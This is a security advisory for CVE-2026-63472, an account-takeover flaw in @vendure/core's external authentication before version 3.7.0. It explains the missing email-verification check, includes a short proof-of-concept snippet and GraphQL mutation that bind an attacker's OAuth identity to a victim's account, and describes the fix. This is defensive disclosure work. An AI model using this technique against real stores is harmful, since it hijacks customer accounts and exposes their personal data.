critical · 9.1CVE-2026-63472Sep 17, 2026

CVE-2026-63472: @vendure/core External Authentication Account Takeover

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Vendure stores using social or OAuth login can have any customer account silently hijacked by an attacker who presents the victim's email address through an external authentication provider, without…

Package@vendure/core
Ecosystemnpm
Affected< 3.7.0
Fixed in3.7.0

The problem

In @vendure/core before 3.7.0, ExternalAuthenticationService.createCustomerAndUser() looks up an existing customer User by email address and attaches the caller's ExternalAuthenticationMethod to that account.

The function never checks whether config.verified is true before doing so. Any external AuthenticationStrategy that forwards an email the provider has not proven is owned by the caller lets an attacker bind their OAuth identity to a victim's pre-existing account and log in as that victim, exposing orders, addresses, and PII.

Proof of concept

A working proof-of-concept for CVE-2026-63472 in @vendure/core, with the exact payload below.

javascript
// Attacker-controlled AuthenticationStrategy.authenticate() returns:
return this.externalAuthenticationService.createCustomerAndUser(ctx, {
  strategy:           'attacker-oauth',
  externalIdentifier: 'attacker-uid-9999',
  emailAddress:       'victim@example.com', // victim's real account email
  firstName:          'Attacker',
  lastName:           'User',
  // verified is omitted (defaults to false/undefined)
});

// Result: ExternalAuthenticationMethod for attacker-uid-9999 is saved
// onto the existing User row for victim@example.com.
// Attacker can now call:
mutation {
  authenticate(input: {
    attacker-oauth: { token: "<attacker-token>" }
  }) {
    ... on CurrentUser { id identifier }
  }
}
// and receives a session authenticated as the victim.

The root cause is a missing authorization gate in createCustomerAndUser(). The vulnerable branch is if (existingUser) { user = existingUser; } with no check on config.verified. The verified flag was only used to set User.verified and write a history entry, never to guard whether account linking was permitted at all (CWE-287).

The patch (commit 3bb04718) adds an explicit check before the existing-user branch: if config.verified is not true, the method refuses to link and throws an error instead. Strategies must now set verified: true only for emails the provider has actually confirmed ownership of.

The fix

Upgrade @vendure/core to **3.7.0**. After upgrading, audit every custom AuthenticationStrategy: it must pass verified: true only when the external provider has confirmed email ownership (for example, by checking the OAuth email_verified claim). Strategies that omit verified or pass false will now be refused when a pre-existing account with that email exists.

Reporter not attributed.

References: [1][2][3][4]

Related research